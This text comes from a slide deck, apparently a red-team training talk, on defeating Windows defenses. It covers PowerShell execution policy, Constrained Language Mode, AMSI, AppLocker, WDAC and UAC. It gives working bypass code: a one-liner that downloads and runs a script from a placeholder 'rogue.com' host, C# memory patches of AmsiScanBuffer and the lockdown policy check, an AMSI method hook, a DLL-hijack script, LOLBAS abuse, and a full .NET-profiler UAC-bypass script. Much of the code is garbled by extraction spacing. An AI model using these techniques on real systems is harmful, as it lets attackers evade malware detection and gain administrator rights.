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Objectives

understanding and bypassing Windows defenses
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what is it?

PowerShell execution restriction for scripts

different scopes: per process, per user, machine-wide...

example

PS> Get=Ex e c u t i o nPo l i c y =L i s t | f t =AutoS ize



Get-ExecutionPolicy



bypass list

copy-paste the script in an interactive PS command

use Get-Content and pipes

use Invoke-Expression

use EncodedCommand

downgrade PowerShell version

change scope

etc.



Get-Content

example

PS> Get=Content rogue . ps1 | p owe r s h e l l . exe =n o p r o f i l e =



Get-Content



Invoke-Expression

example

PS> Get=Content .\ rogue . ps1 | Invoke=Exp r e s s i o n



Invoke-Expression



DownloadString + Invoke-Expression

example

PS> i e x (New=Object Net . WebCl ient ) . DownloadStr ing ( ’ h t tp : //
rogue . com/ rogue . ps1 ’ )



EncodedCommand

example

PS> $cmd = ”<whatever>”
PS> $by t e s = [ System . Text . Encoding ] : : Unicode . GetBytes ($cmd)
PS> $encodedcmd = [ Conver t ] : : ToBase64Str ing ( $by t e s )
p ow e r s h e l l . exe =ec $encodedcmd



EncodedCommand



change scope

example

PS> Set=Ex e c u t i o nPo l i c y =Ex e c u t i o nPo l i c y Bypass =Scope
p r o c e s s

PS> .\ rogue . ps1



change scope



downgrade

not working on recent Windows versions, PS V2 not present

example

PS> p owe r s h e l l =Ve r s i on 2
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what is it?

used to restrict access to ”sensitive language elements”: COM
objects, dot sourcing scripts, type whitelist...

controled by HKLM\System\CurrentControlSet\Control\Session Manager\
Environment\ PSLockDownPolicy

example

PS> $Execu t i onContex t . S e s s i o nS t a t e . LanguageMode



Constrained Language Mode (CLM)



bypass list

downgrade powershell version

rewrite GetSystemLockdownPolicy function reflectively

use C# PowerShell Runspaces

find LOLbins executing scripts in Unrestricted mode

etc.



downgrade

not working on recent versions of Windows

example

PS> p owe r s h e l l =Ve r s i on 2



Rewrite GetSystemLockdownPolicy function

rewrite the code of
System.Management.Automation.SystemPolicy’s function
GetSystemLockdownPolicy to always return none1

launch powershell via C# Runspaces API
(System.Management.Automation.Runspaces)

1https://github.com/calebstewart/bypass-clm

https://github.com/calebstewart/bypass-clm


Rewrite GetSystemLockdownPolicy function

// Find a r e f e r e n c e to the automat ion as semb ly
va r Automation = t yp eo f ( System . Management . Automation . Al ignment ) . Assembly ;
// Get a MethodInfo r e f e r e n c e to the GetSystemLockdownPol icy method
va r g e t l o c k d own i n f o = Automation . GetType (” System . Management . Automation .

S e c u r i t y . Sy s t emPo l i c y ”) . GetMethod (” GetSystemLockdownPol icy ” , System .
R e f l e c t i o n . B i nd i ngF l a g s . Pub l i c | System . R e f l e c t i o n . B i nd i n gF l a g s . S t a t i c ) ;

// R e t r i e v e a hand l e to the method
va r g e t l o c kdown hand l e = g e t l o c k d own i n f o . MethodHandle ;
u i n t l p f l O l d P r o t e c t ;

// This e n s u r e s the method i s JIT compi l ed
Runt imeHe lpe r s . PrepareMethod ( g e t l o c kdown hand l e ) ;
// Get a p o i n t e r to the comp i l ed f u n c t i o n
va r g e t l o c kdown p t r = ge t l o c kdown hand l e . Ge tFunc t i onPo i n t e r ( ) ;

// Ensure we can w r i t e to the add r e s s
V i r t u a l P r o t e c t ( g e t l o c kdown p t r , new UIn tPt r (4 ) , 0x40 , out l p f l O l d P r o t e c t ) ;

// Wri te the i n s t r u c t i o n s ”mov rax , 0 ; r e t ” . Th i s r e t u r n s 0 , which i s the same
as r e t u r n i n g SystemEnforcementMode . None

va r n ew i n s t r = new byte [ ] { 0x48 , 0x31 , 0xc0 , 0 xc3 } ;
Marsha l . Copy ( n ew i n s t r , 0 , g e t l o c kdown p t r , 4) ;

// Run p owe r s h e l l from the c u r r e n t p r o c e s s (won ’ t s t a r t p ow e r s h e l l . exe , but run
from the p owe r s h e l l . Net l i b r a r i e s )

M i c r o s o f t . PowerShe l l . C o n s o l e S h e l l . S t a r t ( System . Management . Automation . Runspaces .
Run spac eCon f i gu r a t i on . C rea te ( ) , ”Banner ” , ”Help ” , new s t r i n g [ ] {

”=exec ” , ” bypas s ” , ”=nop”
}) ;



Rewrite GetSystemLockdownPolicy function



C# Runspaces

C# interface to PowerShell runtime

LanguageMode set to FullLanguage by default

can be used to interpret scripts without restrictions



C# Runspaces

namespace CLMBypassRunSpaces
{

p u b l i c c l a s s CLMBypassRunspaces
{

p u b l i c s t a t i c vo i d Main ( s t r i n g [ ] a r g s )
{

System . Management . Automation . Runspaces . Runspace run = System .
Management . Automation . Runspaces . RunspaceFactory . CreateRunspace
( ) ;

run . Open ( ) ;

System . Management . Automation . PowerShe l l s h e l l = System . Management .
Automation . PowerShe l l . C r ea te ( ) ;

s h e l l . Runspace = run ;

s h e l l . AddScr ip t ( F i l e . ReadAl lText ( a r g s [ 0 ] ) ) ;
C o l l e c t i o n<PSObject> r e s u l t s = s h e l l . I n voke ( ) ;

S t r i n gB u i l d e r s t r i n g B u i l d e r = new S t r i n gB u i l d e r ( ) ;
f o r e a c h ( PSObject ob j i n r e s u l t s )
{

s t r i n g B u i l d e r . AppendLine ( ob j . ToSt r ing ( ) ) ;
}

Conso l e . Wr i t eL i ne ( s t r i n g B u i l d e r . ToSt r ing ( ) ) ;
run . C l o s e ( ) ;

}
}

}



C# Runspaces



LOLBins

find native and/or signed binaries executing scripts in
non-constrained PowerShell environments (such as
Runspaces)

binaries signed by Microsoft

runscripthelper.exe2

SynAppvPublishingServer.exe3 (not tested)

2https://posts.specterops.io/

bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc
3https://twitter.com/moxgas/status/895045566090010624

https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc
https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc
https://twitter.com/moxgas/status/895045566090010624
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what is it?

used to analyse scripting languages and .NET managed code
at runtime for malware presence

PowerShell
VBS
Javascript
VBA macros
C# assemblies

implemented as a DLL with an API for userland programs



bypass list

do not use PowerShell or C# and stick to C++ compiled
binaries

overwrite AMSI DLL functions in memory

prevent AMSI DLL to load

obfuscate code to bypass AMSI signatures

etc.4

Warning

some of the above techniques does not work anymore or are
spotted by antivirusa

ahttps://www.r-tec-blog-bypass-amsi-in-2025.html

4https://github.com/s3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://www.r-tec-blog-bypass-amsi-in-2025.html
https://github.com/s3cur3Th1sSh1t/Amsi-Bypass-Powershell
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Overwrite AMSI DLL functions - byte patching

reflectively load amsi.dll and patch AmsiScanBuffer via
Marshall.copy to always return something else than
AMSI RESULT DETECTED5

OK

still working on Windows 11 with MS Defender

5https://rastamouse.me/memory-patching-amsi-bypass

https://rastamouse.me/memory-patching-amsi-bypass
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Overwrite AMSI DLL functions - byte patching

p u b l i c c l a s s AmsiBypass
{

p u b l i c s t a t i c vo i d Execute ( )
{

// Load amsi . d l l and get l o c a t i o n o f Ams iScanBuf fe r
va r l i b = LoadL i b r a r y (” amsi . d l l ”) ;
va r asb = GetProcAddress ( l i b , ” Ams iScanBuf fe r ”) ;

va r patch = { 0xB8 , 0x57 , 0x00 , 0x07 , 0x80 , 0xC3 } ;

// Set r e g i o n to RWX
= V i r t u a l P r o t e c t ( asb , ( U In tPt r ) patch . Length , 0x40 , out u i n t

o l dP r o t e c t ) ;

// Copy patch
Marsha l . Copy ( patch , 0 , asb , patch . Length ) ;

// Re s to r e r e g i o n to RX
= V i r t u a l P r o t e c t ( asb , ( U In tPt r ) patch . Length , o l dP ro t e c t , out

u i n t ) ;
}
. . .



Overwrite AMSI DLL functions - byte patching



Overwrite AMSI DLL functions - monkey patching

idea is to reflectively load amsi.dll, get a handle on
ScanContent and update it to point to a controlled method6

(hooking)

no write on DLL memory, no Win32 API calls

Warning

not working as-is anymore on Windows 11 with MS Defender

6https://github.com/cybersectroll/TrollAMSI

https://github.com/cybersectroll/TrollAMSI
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Overwrite AMSI DLL functions - monkey patching

p u b l i c s t a t i c c l a s s Trol lAMSI
{

p u b l i c s t a t i c vo i d t r o l l ( )
{

MethodInfo o = t yp eo f ( PSObject ) . Assembly . GetType (” System . Management .
Automation .Am” + ” s i ” + ”U” + ” t i l s ”) . GetMethod (” Sca” + ”nC” + ”
onten t ” , B i nd i n gF l a g s . S t a t i c | B ind i ngF l a g s . NonPubl ic ) ;

MethodInfo t = t yp eo f ( Trol lAMSI ) . GetMethod (”M” , B i nd i n gF l a g s . S t a t i c |
B ind i ngF l a g s . NonPubl ic ) ;

// Runt imeHe lpe r s . PrepareMethod ( o . MethodHandle ) ;
// Runt imeHe lpe r s . PrepareMethod ( t . MethodHandle ) ;
Marsha l . Copy ( new I n tP t r [ ] { Marsha l . Read In tPt r ( t . MethodHandle . Value + 8)

} , 0 , o . MethodHandle . Value + 8 , 1) ;
}
p r i v a t e s t a t i c i n t M( s t r i n g c , s t r i n g s ) { r e t u r n 1 ; }

}



Overwrite AMSI DLL functions - Hardware breakpoints

same effect can be acheived by setting hardware breakpoints7

set a hardware breakpoint at AmsiScanBuffer address,
”clean up” the analyzed string given as argument by swapping
it with a legit one

less likely to be detected

OK

still working on Windows 11 with MS Defender

7https:

//gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e

https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e
https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e
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Overwrite AMSI DLL functions - Hardware breakpoints



Overwrite AMSI communication libraries

AMSI uses COM object through RPC to communicate

Overwrite rpcrt4.dll calls such as NdrClientCall3 to
always return ”success”8 (not tested)

8https://github.com/andreisss/Ghosting-AMSI

https://github.com/andreisss/Ghosting-AMSI


prevent AMSI DLL to load - DLL hijacking

copy a binary (like powershell.exe) in a write-allowed
directory

drop a rogue DLL with name amsi.dll

start the program from there

Warning

not working as-is anymore on Windows 11 with MS Defender



prevent AMSI DLL to load - DLL hijacking
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prevent AMSI DLL to load - DLL hijacking

[ Byte [ ] ] $temp = $Dl lBy t e s = s p l i t ’ ’
Write=Output ” Execu t i ng the bypas s . ”
Write=Verbose ”Dropping the f ak e amsi . d l l to d i s k . ”
[ System . IO . F i l e ] : : Wr i t eA l lB y t e s (”$pwd\amsi . d l l ” , $temp )

Write=Verbose ”Copying p owe r s h e l l . exe to the c u r r e n t work ing d i r e c t o r y . ”
Copy=I tem =Path C:\Windows\System32\WindowsPowerShel l\v1 .0\ p owe r s h e l l .

exe =De s t i n a t i o n $pwd

Write=Verbose ” S t a r t i n g p owe r s h e l l . exe from the c u r r e n t work ing
d i r e c t o r y . ”

& ”$pwd\p owe r s h e l l . exe ”



prevent AMSI DLL to load - PS downgrade

powershell only: downgrade to version 2, no AMSI

only working if version 2 is on the system, not default anymore
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Applocker



what is it?

software execution restriction

not considered a ”security barrier” by Microsoft

allow-list + deny-list = error-prone

implemented as both a userland service (appidsvc) and a
Kernel module (appid.sys)9

9https://www.tiraniddo.dev/2019/11/the-internal-of-applocker-part-1.html



Architecture

10

10https://www.tiraniddo.dev/2019/11/the-internal-of-applocker-part-1.html



Applocker policy - GUI



Applocker policy - XML

<Ru l e C o l l e c t i o n Type=”Exe” EnforcementMode=”NotConf igu red”>
<F i l ePa t hRu l e I d=”921cc481=6e17=4653=8f75=050b80acca20 ” Name=”(De f au l t Rule ) A l l

f i l e s l o c a t e d i n the Program F i l e s f o l d e r ” D e s c r i p t i o n=”Al l ows members o f
the Everyone group to run a p p l i c a t i o n s t ha t a r e l o c a t e d i n the Program
F i l e s f o l d e r . ” UserOrGroupSid=”S=1=1=0” Act ion=”Al low”>

<Cond i t i on s>
<F i l ePa t hCond i t i o n Path=”%PROGRAMFILES%\*” />
</Cond i t i on s>

</F i l ePa thRu l e>
<F i l ePa t hRu l e I d=”a61c8b2c=a319=4cd0=9690=d2177cad7b51” Name=”(De f au l t Rule ) A l l

f i l e s l o c a t e d i n the Windows f o l d e r ” D e s c r i p t i o n=”Al l ows members o f the
Everyone group to run a p p l i c a t i o n s t ha t a r e l o c a t e d i n the Windows f o l d e r . ”
UserOrGroupSid=”S=1=1=0” Act ion=”Al low”>

<Cond i t i on s>
<F i l ePa t hCond i t i o n Path=”%WINDIR%\*” />
</Cond i t i on s>

</F i l ePa thRu l e>
<F i l ePa t hRu l e I d=”fd686d83=a829=4351=8 f f 4 =27c7de5755d2” Name=”(De f au l t Rule ) A l l

f i l e s ” D e s c r i p t i o n=”Al l ows members o f the l o c a l Adm i n i s t r a t o r s group to
run a l l a p p l i c a t i o n s . ” UserOrGroupSid=”S=1=5=32=544” Act ion=”Al low”>

<Cond i t i on s>
<F i l ePa t hCond i t i o n Path=”*” />
</Cond i t i on s>

</F i l ePa thRu l e>
</Ru l eCo l l e c t i o n>



default allow rules

exe binaries and scripts:

Everyone - All files located in the Program Files folder
Everyone - All files located in the Windows folder
BUILTIN\Administrators - All files

installers:

Everyone - All digitally signed Windows Installer files
Everyone - All Windows Installer files in
%systemdrive%\Windows\Installer
BUILTIN\Administrators - All Windows Installer files

packaged apps:

Everyone - All signed packaged apps
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default allow rules

Warning

All DLLs are allowed by default



Getting the policy

All rules: Get=AppLockerPolicy =Effective | Select=Object =

ExpandProperty RuleCollections

Specific path/user: Get=AppLockerPolicy =Local | TestAppLockerPolicy
=Path <path> =User <user>



Example



bypass list

use DLL rather than exe

execute from a permitted location with a write ACL

rewrite what you want to execute and use LOLBASs



Using DLLs

rundll32 .exe is native and used by legit processes

default decision for DLL is AllowedByDefault

ship rogue code in a DLL and use rundll32 .exe



DLL bypass



Permitted locations

Find both execution and write ACL on disk locations
allow-listed by AppLocker rules

write rogue binary to that location and execute from there

well-known locations lists exists11

11https://github.com/api0cradle/AppLockerBypassList



Find permitted locations



Find permitted locations



Exploit permitted locations



Exploit permitted locations



Rewrite code

Several LOLBAS12 can execute code on Windows

recode and execute: InstallUtil.exe (C#), MSBuild.exe
(C#), Winword.exe (VBA)...

downside is to find or write code of interest

12https://lolbas-project.github.io



Rewrite code - Example

13

13https://github.com/Cn33liz/MSBuildShell



Rewrite code - Example
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what is it?

Windows Defender Application Control (WDAC)

successor of AppLocker, but can be used in the same time

considered a ”security barrier” by Microsoft

implemented via multiple mecanisms14:

Kernel-Mode Code Signing (KMCS)
User-Mode Code Integrity (UMCI)
Hypervisor Code Integrity (HVCI)
Custom Code Integrity (CCI)

14Windows Internals 7th edition part I, Chapter 7, section Device Guard



bypass list

rewrite what you want to execute and use LOLBASs

DLL side-loading with LOLBASs



Rewrite code

Several LOLBASs can bypass WDAC15

recode and execute: InstallUtil.exe (C#), wfc.exe
(C#)...

15https://github.com/bohops/UltimateWDACBypassList

https://github.com/bohops/UltimateWDACBypassList


InstallUtil.exe

InstallUtil.exe can load arbitrary serialized .NET

assemblies as an ”install state file”16

create an assembly file with rogue content

serialize it with .NET

feed it to InstallUtil.exe

16https://tiraniddo.dev/2017/08/

dg-on-windows-10-s-abusing-installutil.html

https://tiraniddo.dev/2017/08/dg-on-windows-10-s-abusing-installutil.html
https://tiraniddo.dev/2017/08/dg-on-windows-10-s-abusing-installutil.html


InstallUtil.exe

Serializer .SerializeToNetDataStream(argv [1], new WrappedAssemblyObject(

argv[0]))

PS> CreateInstallState .exe <assembly.dll> mscorlib. InstallState

InstallUtil .exe /u / InstallStateDir =<whatever> /AssemblyName mscorlib



InstallUtil.exe

Serializer .SerializeToNetDataStream(argv [1], new WrappedAssemblyObject(

argv[0]))

PS> CreateInstallState .exe <assembly.dll> mscorlib. InstallState

InstallUtil .exe /u / InstallStateDir =<whatever> /AssemblyName mscorlib



InstallUtil.exe

Serializer .SerializeToNetDataStream(argv [1], new WrappedAssemblyObject(

argv[0]))

PS> CreateInstallState .exe <assembly.dll> mscorlib. InstallState

InstallUtil .exe /u / InstallStateDir =<whatever> /AssemblyName mscorlib



wfc.exe

wfc.exe can load arbitrary .NET code embedded in a XOML
file17

17https://bohops.com.2020/11/02/

exploring-the-wdac-recommended-block-rules-part-ii-wfc-fsi

https://bohops.com.2020/11/02/exploring-the-wdac-recommended-block-rules-part-ii-wfc-fsi
https://bohops.com.2020/11/02/exploring-the-wdac-recommended-block-rules-part-ii-wfc-fsi


wfc.exe

<Sequ e n t i a lWo r k f l owAc t i v i t y x : C l a s s=”MyWorkflow” x :Name
=”MyWorkflow” xmlns : x=”ht tp :// schemas . m i c r o s o f t . com/
w in f x /2006/ xaml” xmlns=”ht tp :// schemas . m i c r o s o f t . com
/w in f x /2006/ xaml/work f low”>

<CodeAc t i v i t y x :Name=”c o d eA c t i v i t y 1 ” />
<x : Code><![CDATA[
p u b l i c c l a s s Foo : S e q u e n t i a lWo r k f l owAc t i v i t y {
p u b l i c Foo ( ) {

Conso l e . Wr i t eL i n e (”FOOO! ! ! ! ” ) ;
}

}
]]></x : Code>
</Sequ en t i a lWo r k f l owAc t i v i t y>



wfc.exe

wfc . exe c :\ path \ to \ rogue . xoml
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what is it?

User Account Control (UAC)

sort of defense-in-depth mecanism for Administrators actions
on Windows

not considered a ”security barrier” by Microsoft

when an administrator action is needed, gives a ”prompt”

switches user token under the hood



UAC mecanism

18

18https://learn.microsoft.com/en-us/windows/security/application-
security/application-control/user-account-control/how-it-works



what is it?

some programs are whitelisted and can auto-elevate without
any prompt: mmc.exe, winsat.exe, inetmgr.exe...

program must be: configured for auto-elevation (flag), signed
and executed from a ”trusted” location



bypass list

Make a high-integrity process starts an arbitrary program

LOLBAS

Duplicate the token of a high-integrity process and
impersonate it19

trusted directories20

19https://www.tiraniddo.dev/2017/05/

reading-your-way-around-uac-part-1.html and the following two parts
20https://medium.com/tenable-techblog/

uac-bypass-by-mocking-trusted-directories-24a96675f6e

https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-1.html
https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-1.html
https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e


LOLBAS

registry key overwrite in HCKU:

eventvwr.exe (patched in windows 11)21

sdclt.exe (patched in windows 11)22

environments variables in scheduled tasks:

SilentCleanup (patched in windows 11)23

.NET profiler environment variables

21https://enigma0x3.net/2017/03/17/

fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking
22https:

//enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe
23https:

//tiraniddo.dev/2017/05/exploiting-environment-variables-in.html

https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe
https://tiraniddo.dev/2017/05/exploiting-environment-variables-in.html
https://tiraniddo.dev/2017/05/exploiting-environment-variables-in.html


.NET profiler

abusing .NET profiler as UAC protection in not enforced for
it24

three environments variables are used by the .NET framework
to load a ”profiler” DLL

no control is made on high-integrity processes on these

exploit:

1 create a DLL launching a rogue command
2 put its path into the needed variables
3 start a high-integrity process

24https://offsec.almond.consulting/UAC-bypass-dotnet.html

https://offsec.almond.consulting/UAC-bypass-dotnet.html


.NET profiler

# Bypass UAC with a .NET p r o f i l e r DLL

# GUID , path and con t en t
$GUID = ’{ ’ + [ gu id ] : : NewGuid ( ) + ’} ’
$Dl lPath = $env :TEMP + ”\ t e s t . d l l ”
$Dl lBy te s64 = ”TVqQAAMAAAAEAAAA/ / . . . ”

# c r e a t e r e g i s t r y keys
Write=Host ” C r e a t i n g r e g i s t r y keys i n HKCU: So f tware\C l a s s e s\CLSID\$ ($GUID) ”
New=I tem =Path HKCU:\ So f tware\C l a s s e s\CLSID\$GUID\ I n p r o cS e r v e r 3 2 =Value $Dl lPath

=Force | Out=Nu l l
New=I t emPrope r t y =Path HKCU:\ Envi ronment =Name ”COR ENABLE PROFILING” =

PropertyType S t r i n g =Value ”1” =Force | Out=Nu l l
New=I t emPrope r t y =Path HKCU:\ Envi ronment =Name ”COR PROFILER” =PropertyType

S t r i n g =Value $GUID =Force | Out=Nu l l
New=I t emPrope r t y =Path HKCU:\ Envi ronment =Name ”COR PROFILER PATH” =PropertyType

S t r i n g =Value $Dl lPath =Force | Out=Nu l l

# s e t env v a r i a b l e s
[ Env i ronment ] : : S e tEnv i r onmen tVa r i ab l e (”COR ENABLE PROFILING” , ”1” , ”User ”)
[ Env i ronment ] : : S e tEnv i r onmen tVa r i ab l e (”COR PROFILER” , $GUID , ”User ”)
[ Env i ronment ] : : S e tEnv i r onmen tVa r i ab l e (”COR PROFILER PATH” , $DllPath , ”User ”)
Set=I tem =path env : COR ENABLE PROFILING =v a l u e (”1”)
Set=I tem =path env : COR PROFILER =v a l u e ($GUID)
Set=I tem =path env : COR PROFILER PATH =v a l u e ( $Dl lPath )

# dropp ing DLL
Write=Host ”Dropping DLL to $Dl lPath . . . ”
[ Byte [ ] ] $Dl lBy t e s = [ Byte [ ] ] [ Conver t ] : : FromBase64Str ing ( $Dl lByte s64 )
Set=Content =Value $Dl lBy t e s =Encoding Byte =Path $Dl lPath

# run mmc
Write=Host ”Running MMC. . . ”
S ta r t=Proce s s =F i l ePa t h gp ed i t . msc



.NET profiler



The End

Questions?
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